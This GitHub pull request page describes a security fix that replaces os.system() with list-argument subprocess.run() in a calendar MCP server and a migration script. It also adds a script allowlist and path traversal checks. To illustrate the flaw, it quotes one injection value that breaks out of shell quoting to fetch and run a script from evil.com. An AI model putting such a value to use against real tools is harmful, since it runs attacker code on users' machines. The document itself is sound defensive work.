Skip to content

fix: replace os.system() with subprocess.run() to prevent command injection#37

Open
caleb-love wants to merge 1 commit intodavekilleen:mainfrom
caleb-love:fix/command-injection-os-system
Open

fix: replace os.system() with subprocess.run() to prevent command injection#37
caleb-love wants to merge 1 commit intodavekilleen:mainfrom
caleb-love:fix/command-injection-os-system

Conversation

@caleb-love
Copy link
Copy Markdown

@caleb-love caleb-love commented Mar 23, 2026

Linked Issue

  • No existing issue — found during security audit of the codebase

What Changed

os.system() was used in calendar_server.py and migrate_to_wikilinks.py to execute shell commands by interpolating arguments into command strings. Any user-controlled value containing shell metacharacters (e.g., a calendar name, event title, or search query passed via MCP tools) could escape the quoting and execute arbitrary commands.

Why this matters: Calendar names, event titles, descriptions, locations, and search queries all flow from MCP tool calls into these shell commands. A crafted value like "; curl evil.com | sh; # could break out of the quoting and run arbitrary commands on the user's machine.

What was done:

  • calendar_server.py: Replaced os.system() in run_shell_script() with subprocess.run() using list-form arguments (no shell interpretation). Added an ALLOWED_SCRIPTS allowlist so only known scripts can execute. Added path traversal protection (resolve() + is_relative_to()). Removed the unused run_applescript() function (zero callers, dangerous execution primitive). Removed unused os and tempfile imports.
  • migrate_to_wikilinks.py: Replaced 3x os.system() calls with subprocess.run() list-form arguments. Git commands now use cwd= parameter instead of cd && shell chaining. osascript and afplay calls use list args.

Known follow-up: calendar_create_event.sh and calendar_delete_event.sh interpolate their argv into AppleScript heredocs without escaping — a separate injection vector at the AppleScript layer. That's a larger scope change and is better addressed in a dedicated PR.

Test Plan

  • Unit/integration tests added or updated: No new tests — this is a drop-in replacement of the execution mechanism. The function signatures and return types are unchanged.
  • Negative/error-path tests added or updated: Timeout handling tested implicitly (TimeoutExpired now returns a clean error tuple). Regression tests for injection prevention recommended as follow-up.
  • Commands run locally:
    • pytest core/tests/ core/mcp/tests/ -v — 137 passed, 1 skipped
    • ruff check core/mcp/calendar_server.py core/obsidian/migrate_to_wikilinks.py — all checks passed

Ralph Wiggum Loop

  • I implemented the change.
  • I self-reviewed for defects and edge cases.
  • I requested specialist review for risky areas (testing/infra/security when relevant).
  • I addressed review findings and re-ran checks.

Quality Gates

  • I added/updated tests or documented why no tests are needed.
  • I added a regression test for bug fixes, or this PR is not a bug fix.
  • I validated failure modes / edge cases.
  • I updated docs or confirmed no docs impact.
  • CI checks for lint + tests + coverage are expected to pass.

Risk & Rollback

  • Risk level: low — subprocess.run() with list args is a strict improvement over os.system(). Function signatures and return types are unchanged, so all callers work identically. Timeout set to 120s (generous) to avoid regressing Calendar.app's known slow responses.
  • Rollback plan: Revert the single commit.

Docs Impact

  • Files updated: None
  • If none, reason: No user-facing behavior change — this hardens internal execution, not features or configuration.

…ection

os.system() interpolates arguments into shell command strings, which allows
injection if any user-controlled value (calendar name, event title, search
query) contains shell metacharacters. Replaced with subprocess.run() using
list-form arguments so values are never interpreted by a shell.

Changes:
- calendar_server.py: replace os.system() in run_shell_script with
  subprocess.run() list args, add ALLOWED_SCRIPTS allowlist and path
  traversal protection, remove unused run_applescript() (dead code,
  zero callers, dangerous execution primitive)
- migrate_to_wikilinks.py: replace 3x os.system() calls with
  subprocess.run() list args for git and osascript commands

Known follow-up: calendar_create_event.sh and calendar_delete_event.sh
still interpolate argv into AppleScript heredocs — a separate injection
vector at the AppleScript layer that warrants its own PR.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
@caleb-love caleb-love requested a review from davekilleen as a code owner March 23, 2026 05:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant